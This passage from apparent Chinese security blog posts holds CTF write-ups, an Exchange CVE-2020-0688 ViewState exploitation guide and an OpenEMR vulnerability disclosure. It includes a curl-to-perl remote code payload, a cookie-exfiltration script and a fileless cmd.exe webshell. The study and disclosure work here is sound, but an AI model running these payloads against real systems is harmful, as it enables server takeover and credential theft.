        $r[$k] = $arrow($v, $k);
    }

    return $r;
}

沒錯，直接把我們可控的變數 $arrow 當作函式名稱進行呼叫，恰好 $v 也是我們可以控制的變數，只要找到一個函式可以執行系統指令並允許傳遞第二個參數，就能 GetShell，這種函式也不少，例如 passthru ( string $command [, int &$return_var ] ) 就很符合我們的需求。

所以只要注入模板 {{ ['id']|map('passthru') }} 就能執行 id 系統指令，結合前面 email 的規則就能夠造出 "{{['id']|map('passthru')}}"@a.a 的 Payload，不過實測後發現就算使用雙引號包夾，只要有空白字元出現就會被判定為不合法的 email，好在只是用不了空白的 Command Injection 對 CTF 玩家來說並不是個問題。

最後成功 GetShell 的 Payload：

POST /subscribe HTTP/1.1
Host: newsletter.q.2020.volgactf.ru
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://newsletter.q.2020.volgactf.ru/subscribe
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Connection: close
Upgrade-Insecure-Requests: 1

email="{{['curl${IFS}cyku.tw:8080|perl']|map('passthru')}}"@a.a

發現 flag 藏在 /etc/passwd 裡

Flag：VolgaCTF_6751602deea2a308ab611eeef7a4e961

User Center - 300 分

這道題目一樣有個註冊、登入功能，而右上角還有 Report Bug 的按鈕，題目敘述是「Steal admin's cookie!」，所以很清楚地說明了是 Cross-Site Scripting 題目。

官網主要功能都用 JavaScript 在前端實現，所以來看看前端完整的 js 程式碼（微長）：

function getUser(guid) {
  if(guid) {
    $.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) {
      if(!data.success) {
        location.replace('/profile.html');
      } else {
        profile(data.user);
      }
    });
  } else {
    $.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
      if(!data.success) {
        location.replace('/login.html');
      } else {
        profile(data.user, true);
      }
    }).fail(function (jqxhr, textStatus, error) {console.log(jqxhr, textStatus, error);});
  }
}

function updateUser(user) {
  $.ajax({
    type: 'POST',
    url: `//${api}.volgactf-task.ru/user-update`,
    data: JSON.stringify(user),
    contentType: "application/json",
    dataType: 'json'
  }).done(function(data) {
    if(!data.success) {
      showError(data.error);
    } else {
      location.replace(`/profile.html`);
    }
  });
}

function logout() {
  $.get(`//${api}.volgactf-task.ru/logout`, function(data) {
    location.replace('/login.html');  
  });
}

function profile(user, edit) {
  if(!['/profile.html','/report.php','/editprofile.html'].includes(location.pathname))
    location.replace('/profile.html');
  $('#username').text(user.username);
  $('#username').val(user.username);
  $('#bio').text(user.bio);
  $('#bio').val(user.bio);
  $('#avatar').attr('src', `//static.volgactf-task.ru/${user.avatar}`);
  if(edit) {
    $('#editProfile').removeClass("d-none");
  }
  $('.nav-item .nav-link[href="/login.html"]').addClass("d-none");
  $('.nav-item .nav-link[href="/register.html"]').addClass("d-none");
  $('.nav-item .nav-link[href="/profile.html"]').removeClass("d-none");
  $('.nav-item .nav-link[href="/logout.html"]').removeClass("d-none");
}

function replaceForbiden(str) {
  return str.replace(/[ !"#$%&織()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g,'').replace(/[^\x00-\x7F]/g, '?');
}

function showError(error) {
   $('#error').removeClass("d-none").text(error);
}

$(document).ready(function() {
  api = 'api';
  if(Cookies.get('api_server')) {
    api = replaceForbiden(Cookies.get('api_server'));
  } else {
    Cookies.set('api_server', api, {secure: true});
  }

  $.ajaxSetup({
    xhrFields: {
      withCredentials: true
    }
  });

  $('#logForm').submit(function(event) {
    event.preventDefault();
    $.ajax({
      type: 'POST',
      url: `//${api}.volgactf-task.ru/login`,
      data: JSON.stringify({username: $('#username').val(), password: $('#password').val()}),
      contentType: "application/json",
      dataType: 'json'
    }).done(function(data) {
      if(!data.success) {
        showError(data.error);
      } else {
        location.replace(`/profile.html?guid=${data.guid}`);
      }
    });
  });

  $('#regForm').submit(function(event) {
    event.preventDefault();
    $.ajax({
      type: 'POST',
      url: `//${api}.volgactf-task.ru/register`,
      data: JSON.stringify({username: $('#username').val(), password: $('#password').val()}),
      contentType: "application/json",
      dataType: 'json'
    }).done(function(data) {
      if(!data.success) {
        showError(data.error);
      } else {
        location.replace(`/profile.html`);
      }
    });
  });

  $('#avatar').on('change',function(){
    $(this).next('.custom-file-label').text($(this).prop('files')[0].name);
  });

  $('#editForm').submit(function(event) {
    event.preventDefault();
    b64Avatar = '';
    mime = '';
    bio = $('#bio').val();
    avatar = $('#avatar').prop('files')[0];
    if(avatar) {
      reader = new FileReader();
      reader.readAsDataURL(avatar);
      reader.onload = function(e) {
        b64Avatar = reader.result.split(',')[1];
        mime = avatar.type;
        updateUser({avatar: b64Avatar, type: mime, bio: bio});
      }  
    } else {
      updateUser({bio: bio});
    }
  });

  params = new URLSearchParams(location.search);

  if(['/','/index.html','/profile.html','/report.php','/editprofile.html'].includes(location.pathname)) {
    getUser(params.get('guid'));
  }
  if(['/logout.html'].includes(location.pathname)) {
    logout();
  }
});

程式碼微長，但我們還是可以很快看到關鍵的幾個點，如果 cookie 中存在 api_server，就會取那個值當作 API server 的 subdomain，而後面呼叫 API server 的方法都是透過 jQuery.getJSON 這個函式，而這個函式有個特色是如果網址中含有類似 callback=? 的 pattern，會將 API 以 JSONP 的方式進行載入，所以只要我們控制 API server 指到我們的伺服器，回傳惡意的 JSONP 內容就能執行任意 JavaScript。

參考文件：jQuery.getJSON()#jsonp

api = 'api';
if(Cookies.get('api_server')) {
  api = replaceForbiden(Cookies.get('api_server'));
} else {
  Cookies.set('api_server', api, {secure: true});
}
  
function getUser(guid) {
  if(guid) {
    $.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) {
      if(!data.success) {
        location.replace('/profile.html');
      } else {
        profile(data.user);
      }
    });
  } else {
    $.getJSON(`//${api}.volgactf-task.ru/user`, function(data) {
      if(!data.success) {
        location.replace('/login.html');
      } else {
        profile(data.user, true);
      }
    }).fail(function (jqxhr, textStatus, error) {console.log(jqxhr, textStatus, error);});
  }
}

但我們該如何在目標 domain 下設置 api_server cookie 呢？這就要利用上傳大頭貼的功能，當我上傳一張大頭貼照片時，會發出如下的 API 請求，avatar 為 base64 encode 過的圖片二進位資料，type 則是取得圖片時會回應的 Content-Type，最後照片會上傳到 static 的 subdomain 下，例如：https://static.volgactf-task.ru/e991c08651233e7113263f83af8ca810。

POST /user-update HTTP/1.1
Host: api.volgactf-task.ru
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: https://volgactf-task.ru/editprofile.html
Content-Type: application/json
Content-Length: 62
Origin: https://volgactf-task.ru
Cookie: PHPSESSID=vfl71tu5hvoepu7dd8pe89ce23
Connection: close

{"avatar":"SSBhbSBpbWFnZQ==","type":"image/jpeg","bio":"woof"}

那既然我們能控制回應的 Content-Type，就有機會在 static.volgactf-task.ru domain 下進行 XSS 攻擊。可是當我們嘗試修改 type 為 text/html 時出現錯誤「Forbidden MIME type」。

經過黑箱測試後，發現可以用 text/htm\rl 繞過檢查，於是我們就能得到 static.volgactf-task.ru domain 下的 XSS。

接下來就是考慮如何串回主目標的 volgactf-task.ru domain，有趣的事實是瀏覽器允許 subdomain 設定 parent domain 的 cookie，所以如果我們在 static.volgactf-task.ru 上執行下面一行 JavaScript，是可以成功對 volgactf-task.ru 設定一個 api_server 的 Cookie 值。

document.cookie = 'api_server=anything; domain=.volgactf-task.ru; path=/';

所以我們就可以劫持一開始所說的對 API server 發的請求，不過在取出 api_server cookie 之後還會對值作一些過濾，雖然不能用「/」、「#」等字元，但可以塞 Unicode 字元，在經過 replaceForbiden 處理後，像是「喵」的字元會變成「?」，配合 API url 組合的方式，只要寫入 api_server=cyku.tw喵 的 cookie，我們就可以讓目標對 //cyku.tw?.volgactf-task.ru/user 發出請求，只要再回應惡意的 JSONP 內容，就可以得到 volgactf-task.ru 下的 XSS 了。

function replaceForbiden(str) {
  return str.replace(/[ !"#$%&織()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g,'').replace(/[^\x00-\x7F]/g, '?');
}

api = replaceForbiden(Cookies.get('api_server'));

$.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) { .. });

最終的一些 Payload

https://static.volgactf-task.ru/dc22aeee8535ae22cfbc8436362bd602：

HTTP/1.1 200 OK
Server: nginx/1.16.1 (Ubuntu)
Date: Sun, 29 Mar 2020 16:01:04 GMT
Content-Type: text/html
Content-Length: 170
Connection: close
x-amz-id-2: lnjpjj+DN8MtESPMLchngoj5N26k9fp0vgNSbok8tzdFrmOxeeQZEcZp0E9UN3meoO0FJmxJx6c=
x-amz-request-id: 592B8F8A3A31F54F
Last-Modified: Sun, 29 Mar 2020 16:00:59 GMT
ETag: "f1f0b0742b543cfb93c8a175368ebdd7"
Accept-Ranges: bytes
X-Content-Type-Options: nosniff

<script>
document.cookie = 'api_server=poc.cyku.tw\u55B5; domain=.volgactf-task.ru; path=/';
document.location = 'https://volgactf-task.ru/profile.html?guid=?';
</script>

poc.cyku.tw：

<?php
header('application/javascript');
header('Access-Control-Allow-Origin: *');
?>

(new Image).src = '//poc.cyku.tw/?flag=' + document.cookie;

最後在 Report Bug 送出連結後，就能在 access.log 收到 flag

134.209.205.157 - - [28/Mar/2020:06:38:20 +0000] "GET /?flag=flag=VolgaCTF_0558a4ad10f09c6b40da51c8ad044e16;%20api_server=poc.cyku.tw%E5%96%B5 HTTP/2.0" 200 81 "https://volgactf-task.ru/profile.html?guid=?" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0" "-"

Flag：VolgaCTF_0558a4ad10f09c6b40da51c8ad044e16

最近微軟產品 Exchange Server 爆出一個嚴重漏洞 CVE-2020-0688，問題發生的原因是每台 Exchange Server 安裝完後在某個 Component 中都使用了同一把固定的 Machine Key，而相信大家都已經很熟悉取得 Machine Key 之後的利用套路了，可以竄改 ASP.NET Form 中的 VIEWSTATE 參數值以進行反序列化攻擊，從而達成 Remote Code Execution 控制整台主機伺服器。

更詳細的 CVE-2020-0688 漏洞細節可以參考 ZDI blog：

• CVE-2020-0688: Remote Code Execution on Microsoft Exchange Server Through Fixed Cryptographic Keys

對於 VIEWSTATE 反序列化漏洞攻擊分析在網路上已經有無數篇文章進行深入的探討，所以在此篇文章中將不再重複贅述，而今天主要想聊聊的是關於 VIEWSTATE exploit 在滲透測試中如何進行利用。

最基本、常見的方式是直接使用工具 ysoserial.net 的 ViewState Plugin 產生合法 MAC 與正確的加密內容，TypeConfuseDelegate gadget 經過一連串反射呼叫後預設會 invoke Process.Start 呼叫 cmd.exe，就可以觸發執行任意系統指令。

例如：

ysoserial.exe -p ViewState -g TypeConfuseDelegate
              -c "echo 123 > c:\pwn.txt"
              --generator="CA0B0334"
              --validationalg="SHA1"
              --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

異常的 VIEWSTATE 通常會導致 aspx 頁面回應 500 Internal Server Error，所以我們也無法直接得知指令執行的結果，但既然有了任意執行，要用 PowerShell 回彈 Reverse Shell 或回傳指令結果到外部伺服器上並不是件難事。

But ..

在滲透測試的實戰中，事情往往沒這麼美好。現今企業資安意識都相對高，目標伺服器環境出現以下幾種限制都已是常態：

• 封鎖所有主動對外連線
• 禁止查詢外部 DNS
• 網頁目錄無法寫入
• 網頁目錄雖可寫，但存在 Website Defacement 防禦機制，會自動復原檔案

所以這時就可以充分利用另一個 ActivitySurrogateSelectorFromFile gadget 的能力，這個 gadget 利用呼叫 Assembly.Load 動態載入 .NET 組件達成 Remote Code Execution，換句話說，可以使我們擁有在與 aspx 頁面同一個 Runtime 環境中執行任意 .NET 語言程式碼的能力，而 .NET 預設都會存在一些指向共有資源的全域靜態變數可以使用，例如 System.Web.HttpContext.Current 就可以取得當下 HTTP 請求上下文的物件，也就像是我們能利用它來執行自己撰寫的 aspx 網頁的感覺，並且過程全是在記憶體中動態處理，於是就等同於建立了無檔案的 WebShell 後門！

我們只需要修改 -g 的參數成 ActivitySurrogateSelectorFromFile，而 -c 參數放的就不再是系統指令而是想執行的 ExploitClass.cs C# 程式碼檔案，後面用 ; 分號分隔加上所依賴需要引入的 dll。

ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile
              -c "ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll"
              --generator="CA0B0334"
              --validationalg="SHA1"
              --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

關於需要引入的 dll 可以在安裝了 .NET Framework 的 Windows 主機上找到，像我的環境是在這個路徑 C:\Windows\Microsoft.NET\Framework64\v4.0.30319 之中。

至於最關鍵的 ExploitClass.cs 該如何撰寫呢？將來會試著提交給 ysoserial.net，就可以在範例檔案裡找到它，或是可以先直接看這裡：

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Form["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

其中 Server.ClearError() 和 Response.End() 都是必要且重要的一步，因為異常的 VIEWSTATE 必然會使得 aspx 頁面回應 500 或其他非預期的 Server Error，而呼叫第一個函式可以協助清除在當前 Runtime 環境下 stack 中所記錄的錯誤，而呼叫 End() 可以讓 ASP.NET 將當前上下文標記為請求已處理完成並直接將 Response 回應給客戶端，避免程式繼續進入其他 Error Handler 處理導致無法取得指令執行的輸出結果。

到這個步驟的話，理論上你只要送出請求時固定帶上這個惡意 VIEWSTATE，就可以像操作一般 WebShell 一樣：

不過有時也會出現這種情境：

不論怎麼改 Payload 再重送永遠都是得到 Server Error，於是就開始懷疑自己的人生 Q_Q

但也別急著灰心，可能只是你遇上的目標有很乖地定期更新了伺服器而已，因為微軟曾為了 ActivitySurrogateSelector 這個 gadget 加上了一些 patch，導致無法直接利用，好在有其他研究者馬上提供了解決方法使得這個 gadget 能再次被利用！

詳細細節可以閱讀這篇文章：Re-Animating ActivitySurrogateSelector | Silent Break Security

總而言之，如果遇到上述情形，可以先嘗試用以下指令產生 VIEWSTATE 並發送一次給伺服器，順利的話就能使目標 Runtime 環境下的 DisableActivitySurrogateSelectorTypeCheck 變數值被設為 true，隨後再發送的 ActivitySurrogateSelector gadget 就不會再噴出 500 Server Error 了。

ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck
              -c "ignore"
              --generator="CA0B0334"
              --validationalg="SHA1"
              --validationkey="B3B8EA291AEC9D0B2CCA5BCBC2FFCABD3DAE21E5"

如果上述一切都很順利、成功執行系統指令並回傳了結果，基本上就足夠做大部分事情，而剩下的就是繼續盡情發揮你的想像力吧！

不過有時候即便到了此一步驟還是會有不明的錯誤、不明的原因導致 MAC 計算始終是錯誤的，因為 .NET 內部演算法以及需要的環境參數組合稍微複雜，使得工具沒辦法輕易涵蓋所有可能情況，而當遇到這種情形時，我目前選擇的解決方法都是發揮工人智慧，嘗試在本機建立環境、設定相同的 MachineKey、手工撰寫 aspx 檔案，產生包含 gadget 的 VIEWSTATE 再轉送到目標主機上。如果你有更多發現或不一樣的想法願意分享的話，也歡迎來和我交流聊聊天。

此篇文章同時發表於：DEVCORE Blog

最近武漢肺炎疫情不停延燒、愈發嚴重，每個人都只能盡力做好自主管理、照顧好身子，也得盡量別在這期間感冒而造成額外擔憂，台灣目前仍能防治住疫情也得特別感謝政府、第一線醫護人員、防疫人員、第三方人員等等許多人的努力！

筆者我身為技術宅，不是醫護人員，只能作為普通民眾盡可能地遵從一些政策、規定以降低醫療人員的負擔，但即使如此也還是希望能替醫療界盡一份心力，所以只好發揮所長試著在醫療界不為人知、沒有直接關聯的角落作出貢獻，因此今天就來聊聊很久之前曾在開源醫療管理系統 OpenEMR 所發現的 3 個 Pre-Auth 弱點。

過去資策會資安科技研究所曾經發表過一篇文章 OpenEMR 弱點分析，分析關於他們在 OpenEMR 發現的 RCE 弱點，RCE 可以讓攻擊者直接控制整台主機，是非常嚴重的風險，值得慶幸的是弱點必須要先登入擁有權限的帳號才可觸發。但倘若攻擊者發現可以在不知道帳號密碼的前提下從匿名使用者（未登入狀態）提升權限（登入）的弱點，就能進一步擴大風險！因此我決定挖掘 Pre-Auth 的弱點並將之回報給開發者作修復以預防此類風險發生，最終發現 2 個 Pre-Auth SQL Injection 和 1 個 Pre-Auth Arbitrary File Read 弱點，其對應 CVE 編號分別為 CVE-2018-17179、 CVE-2018-17181 和 CVE-2018-17180。

這邊也感謝開發者 Brady Miller 回應及修復真的非常地迅速。
Thanks to the developer Brady Miller for very quick respond and fix.

CVE-2018-17179 : SQL Injection

此弱點已在 commit 3e22d11 中獲得了修復。

此弱點的進入點是 taskman.php 這個檔案，這個路徑不需要登入、任何人均可存取。當請求動作是 make_task 時會轉交給 make_task 函式作處裡。

File: /interface/forms/eye_mag/taskman.php
100: $ajax_req = $_REQUEST;
101: 
102: if ($_REQUEST['action']=='make_task') {
103:     make_task($ajax_req);
104: }

而 make_task 函式中，進行 SELECT 查詢時都有過濾，唯獨在 INSERT 時遺漏了，因此這邊很單純就能直接進行注入，恰好此處會顯示 SQL 錯誤訊息，於是可以利用 Error-Based 獲取資料庫內容，包括取得使用者帳號密碼以登入系統進行更多操作。

File: /interface/forms/eye_mag/php/taskman_functions.php
35: function make_task($ajax_req)
36: {
37:     global $send;
38:     $from_id    = $ajax_req['from_id'];
39:     $to_id      = $ajax_req['to_id'];
40:     $patient_id = $ajax_req['pid'];
41:     $doc_type   = $ajax_req['doc_type'];
42:     $doc_id     = $ajax_req['doc_id'];
43:     $enc        = $ajax_req['enc'];

93:     } else if (!$task['ID']) {
94:         $sql = "INSERT into form_taskman
95: 				(REQ_DATE, FROM_ID,  TO_ID,  PATIENT_ID,  DOC_TYPE,  DOC_ID,  ENC_ID) VALUES
96: 				(NOW(), '$from_id', '$to_id','$patient_id','$doc_type','$doc_id','$enc')";
97:         sqlQuery($sql);

CVE-2018-17180 : Arbitrary File Read

此弱點在 commit 4963fe4 中獲得了修復。

進入點 download_template.php 接收一個參數 docid，此參數隨後會代入路徑，並利用 file_get_contents 函式讀取檔案內容後作輸出。此檔案除了要求必須啟用「Patient Portal」的功能才可存取以外，在檔案開頭還引入了 verify_session.php，從檔案名稱來看似乎有進行一些驗證的感覺。

File: /portal/lib/download_template.php
27: require_once(dirname(__file__) . "/../verify_session.php");

36: $form_filename = $_POST['docid'];

371: $templatepath = "$templatedir/$form_filename";
    
440:     // Not a zip archive.
441:     $edata = file_get_contents($templatepath);
442:     $edata = doSubs($edata);
443:     if ($html_flag) { // return raw html template
444:         $html = $edata;
445:     } else { // add br for lf in text template
446:         $html = nl2br($edata);
447:     }
448: }
449: 
450: echo $html;

因此讓我們追進 verify_session.php 看看，在這邊驗證了變數 $_SESSION['pid'] 和 $_SESSION['patient_portal_onsite_two'] 是否存在，若變數不存在則會強制跳轉到登入頁面。

File: /portal/verify_session.php
41: // kick out if patient not authenticated
42: if (isset($_SESSION['pid']) && isset($_SESSION['patient_portal_onsite_two'])) {
43:     $pid = $_SESSION['pid'];
44: } else {
45:     session_destroy();
46:     header('Location: '.$landingpage.'&w');
47:     exit;
48: }

本來預想是不可能繞過此限制，但在閱覽其他檔案的程式碼後意外發現當 index.php 收到特定請求時，會將 $_SESSION['pid'] 和 $_SESSION['patient_portal_onsite_two'] 同時設定為 true，因此就能繞過原 verify_session.php 中的限制，達成 Pre-Auth Arbitrary File Read。

File: /portal/index.php
351: if (isset($_GET['requestNew'])) {
352:     $_SESSION['patient_portal_onsite_two'] = true;
353:     $_SESSION['authUser'] = 'portal-user';
354:     $_SESSION['pid'] = true;

因為這個意外的發現，所以有些透過 verify_session.php 保護的檔案也成為了需要檢查的目標之一，而隨後也確實在「Patient Portal」系列功能中發現了另一個 Pre-Auth SQL Injection。

CVE-2018-17181 : SQL Injectiion

此弱點在同樣 commit 4963fe4 中獲得了修復。

這個弱點的進入點檔案是 paylib.php，收到 mode 為 portal-save 的請求後會轉交給 SaveAudit 函式進行處理，而該函式又會呼叫到 ApplicationTable 物件的 portalAudit 函式。

File: /portal/lib/paylib.php
47: if ($_POST['mode'] == 'portal-save') {
48:     $form_pid = $_POST['form_pid'];
49:     $form_method = trim($_POST['form_method']);
50:     $form_source = trim($_POST['form_source']);
51:     $upay = isset($_POST['form_upay']) ? $_POST['form_upay'] : '';
52:     $cc = isset($_POST['extra_values']) ? $_POST['extra_values'] : '';
53:     $amts = isset($_POST['inv_values']) ? $_POST['inv_values'] : '';
54:     $s = SaveAudit($form_pid, $amts, $cc);

75: function SaveAudit($pid, $amts, $cc)
76: {
77:     $appsql = new ApplicationTable();
78:     try {
79:         $audit = array ();
80:         $audit['patient_id'] = $pid;

93:         $edata = $appsql->getPortalAudit($pid, 'review', 'payment');
94:         $audit['date'] = $edata['date'];
95:         if ($edata['id'] > 0) {
96:             $appsql->portalAudit('update', $edata['id'], $audit);
97:         } else {
98:             $appsql->portalAudit('insert', '', $audit);
99:         }

portalAudit 函式過濾了幾乎所有參數，唯獨遺漏了 $audit['patient_id']，而此參數恰好又是使用者能控制的參數，因此就能進行 SQL 的注入，而此處同樣也會顯示 SQL 錯誤訊息，因此也能利用 Error-Based 取得資料庫內容。

File: /portal/lib/appsql.class.php
135:     public function portalAudit($type = 'insert', $rec = '', array $auditvals, $oelog = true, $error = true)
136:     {

162:         try {
163:             if ($type != 'update') {
164:                 $logsql = "INSERT INTO onsite_portal_activity".
165:                         "( date, patient_id, activity, require_audit, pending_action, action_taken, status, narrative,".
166:                             "table_action, table_args, action_user, action_taken_time, checksum) ".
167:                                 "VALUES (NOW(), ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)";
168:             } else {
169:                 $logsql = "update onsite_portal_activity set date=?, patient_id=?, activity=?, require_audit=?,".
170:                         "            pending_action=?, action_taken=?,status=?, narrative=?, table_action=?, table_args=?,".
171:                                         "action_user=?, action_taken_time=?, checksum=? ";
172:                 $logsql .= "where id=".$rec ." And patient_id=".$audit['patient_id'];
173:             }

此弱點同樣仰賴變數 $_SESSION['patient_portal_onsite_two'] 必須存在才可以存取，而錯誤設置 $_SESSION['patient_portal_onsite_two'] 的問題也在同一個 commit 中獲得了修復，在修復後的版本中，未登入使用者是無法訪問這些檔案的。

References

• https://github.com/openemr/openemr/commit/3e22d11
• https://github.com/openemr/openemr/commit/4963fe4
• https://www.open-emr.org/wiki/index.php/Old_Outdated_OpenEMR_Patches#5.0.1_Patch_.281.2F19.2F19.29
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17179
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17180
• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17181

最近 AIS3 2019 的課程正在進行中，於是想起堆在電腦中的 pre-exam 截圖還沒寫成 write-up，趕緊來寫篇文章。個人覺得今年度的 web 題目很優質，沒有太多通靈成分而且還帶到了許多實用知識，然而我其實沒有報名今年度的 AIS3，純粹是因為好奇而偷要到了題目玩玩看 XD

首先附上官方出題者的解答：

• AIS3 2019 Pre-Exam 官方解法 by Yuankui Lee
• AIS3-PreExam-2019 by Kaibro

這些解答在 pre-exam 結束後沒多久就公佈了，相信大家應該都已經看完，但我這邊還是再附上一次。

Simple Window

開啟首頁馬上就看到一個類似 Virtual Terminal 的畫面，不過這是假的。

view-source 一下就能發現 flag 的頁面在 http://ip/flag，但是直連該頁面會只看到訊息說「I catch it!」

原理其實很單純，瀏覽器支援了一種名為 Service Worker 的功能，常見用途之一是讓你可以在前端自訂快取的行為，當網頁渲染需要載入一些資源 (例如：圖片、CSS 等) 時，可以透過註冊 Service Worker 的功能，阻止瀏覽器發出請求，並由你在前端撰寫的 JavaScript 來控制去哪裡載入這些資源。

所以這道題目就是註冊了 Service Worker 來阻止你瀏覽 /flag 頁面，這點可以從 view-source 看見相關的程式碼，現在的話也能到出題者的 SimpleWindow - GitHub 上看看程式碼是如何撰寫的。

解法是只要避免經過瀏覽器快取機制而直接向目標伺服器請求該頁面，譬如直接 view-source:http://ip/flag 或是在 Linux 上使用 curl 指令 curl -v http://ip/flag 就能獲得 flag。

Hidden

點開這道題目的網頁，畫面呈現非常空虛，只有一串文字「Hidden」，HTML 中也沒有其他元素，但是該網頁有引入了一個 JavaScript 檔案：/main.019417bd.js。

從這個 JavaScript 檔案可以看出網頁是使用 Vue.js 前端框架撰寫，看到程式碼就會手癢想先搜尋「flag」，發現有個 "./flag.js": "nHHx"，這是前端打包工具很常見的特徵，因為前端框架都採用了模組化方式進行開發，但是瀏覽器多半不支援這些模組化方式的程式碼，所以會再透過打包工具將這些框架程式碼轉換為瀏覽器能接受的 JavaScript，而 "./flag.js": "nHHx" 就是其中一個模組。

將上述的 nHHx 繼續搜尋就能找到模組原始的定義位置，從程式碼可以看到該模組 export 了一個 function r()。

總而言之把 function r() 直接丟 Console 跑跑看，就能順利拿到 flag。

tokeeeeen

首頁有一個輸入框可以輸入 token。

按下 submit 按鈕後會發出一個 AJAX 去位置 /flag?token=aa 請求 flag，但會顯示一些像「No, please.」可能代表 token 錯誤的訊息。推測這道題目也許是要你找出正確的 token 拿 flag?

先別著急著瞎猜，讓我們再嘗試收集一些資訊，並很快就能發現伺服器上還有一個檔案 package.json，這是 Node.js 套件管理工具 npm 所使用來描述一些資訊的檔案。

再試著存取 package.json 中所描述到的 server.js，發現也能看見完整的原始碼。

從原始碼中可以發現對 token 的檢查有三個條件：

• !token: token 參數要存在，不能為空、null 或 undefined
• token.length > 32: token 字串長度要大於 32
• 0 < token.length < 16: 這個是 .. 字串長度介於 0~16 .. 嗎？

看起來似乎第二點和第三點自相矛盾，但其實是個障眼法，在 JavaScript 並沒有像數學式般 a < b < c 這樣的使用方式，< 只能一次對兩者做比較，所以第三點在 JavaScript 眼裡是 (0 < token.length) < 16，在這邊的情境下將會永遠為 true，因為 (0 < token.length) 必定會得到一個 true 的 Boolean 值，而 true < 16 經過轉型處理後再判斷也必然為 true。

那這道題目該何解？讓我們再回顧一下程式碼，如果夠細心應該能立刻發現只有傳送 flag 的程式碼 res.send(FLAG) 是被放置在 try catch 敘述句外的，而 catch 敘述句只捕捉了 TokenError 的錯誤，表示若我們能讓 JavaScript 噴出 TokenError 以外的 exception，就能抵達 res.send(FLAG) 的程式碼。

要讓 JavaScript 程式出現錯誤，第一個直覺會聯想到 Type Confusion，因為它是動態型別的語言，可以讓同一個變數偶而是 string 偶而又是 object，這道題目裡又沒有任何的型別檢查，所以其實我們可以透過 ?token[a]=1 的方式讓 token 變數成為 object 型別。但這並不至於讓程式噴 exception，因為目前程式中的所有操作在 object 型別上都是合法的，譬如 token.length 也只是回傳 undefined 再去隱性轉型作數字比較。

這就要談及 JavaScript 的一個 magic method: toString，當你嘗試對一個 object 進行數值 (隱性型別轉換) 或字串操作時，JavaScript 會呼叫 object.toString() 來把物件轉換成字串，我們也能透過 override 這個函式來自定義如何轉換成字串的行為。

譬如以下程式碼：

var a = {
    toString: function() {
        return 'Hello, world!';
    }
};
console.log('Result: ' + a);

會得到以下輸出：

Result: Hello, world!

那如果我們將 toString override 成 function 以外的東西：

var a = {
    toString: 123
};
console.log('Result: ' + a);

就會發現神奇的結果：

Uncaught TypeError: Cannot convert object to primitive value

所以這道題目只要送 token[length][toString] 讓 length 成為 object 並 override 掉 toString，就會在第二個比較條件嘗試將 object 作轉換而呼叫到 toString 時噴出 TypeError，如此這般就能得到 flag。

除此之外還有一個 valueOf 的 magic method，兩者關係可以去看出題者官方解法裡有更詳細的描述。

d1v1n6

題目頁面有一個超連結文字 Hint 連結到 /?path=hint.txt，熟悉的朋友很快就能聯想到這邊或許存在一個可能是 Arbitrary File Read、Local File Inclusion 或 Server-Side Request Forgery 的漏洞。

經過黑箱觀察可以發現網頁是由 PHP 撰寫並且是個 SSRF 漏洞，但是嘗試讀 index.php 的原始碼只會出現錯誤文字訊息，讓我們試試用老招：php://filter/read=convert.base64-encode/resource=index.php，成功讀到 base64 編碼後的原始碼。

看看原始碼，看起來是個要繞 Server-Side Request Forgery 保護去請求 127.0.0.1 的挑戰，如果成功讓 PHP 從 127.0.0.1 來源請求 http://127.0.0.1，第 6 行就會顯示 flag 的提示。

於是只要輸入
php://filter/read=convert.base64-encode/resource=http://localhost
就過了，因為出題者不小心把 regular expression 寫壞，所以用 localhost 而不是 127.0.0.1 就能過 XD。
大家可以先試著自己找錯誤在哪，想知道錯在哪可以去看出題者官方解法的描述。

base64 解碼後就能得知存有 flag 的文字檔位置和下一階段的提示。

d1v1n6 d33p3r

這題是接續上一題 d1v1n6，在上一題的提示中說這題的 flag 似乎是隱藏在 internal network 中的某處。

在 Server-Side Request Forgery 的利用中，掌握內網相關資訊 (IP、Domain) 非常重要，畢竟在茫茫內網大海中撈針的效率很差。在這道題目中的 SSRF 漏洞具有讀檔的能力，所以我們通常可先嘗試讀取以下幾個 Linux 主機上的重要檔案

• /etc/resolv.conf: 可以得知 nameserver 配置的資訊
• /etc/hosts: 可以得知 hostname 與 ip 作 mapping 的資訊
• /proc/net/tcp: 會列出 listen 中的 TCP 連線，有機會可以得知當前主機的 ip 資訊

這邊我是先讀取了 /proc/net/tcp 就發現有個 listen 中的 TCP 連線 IP 為 030016AC，這個字串其實是 IPv4 中 4 個區段的十進位數字轉換成 hex 的結果，只不過順序是相反的，對應方式是：

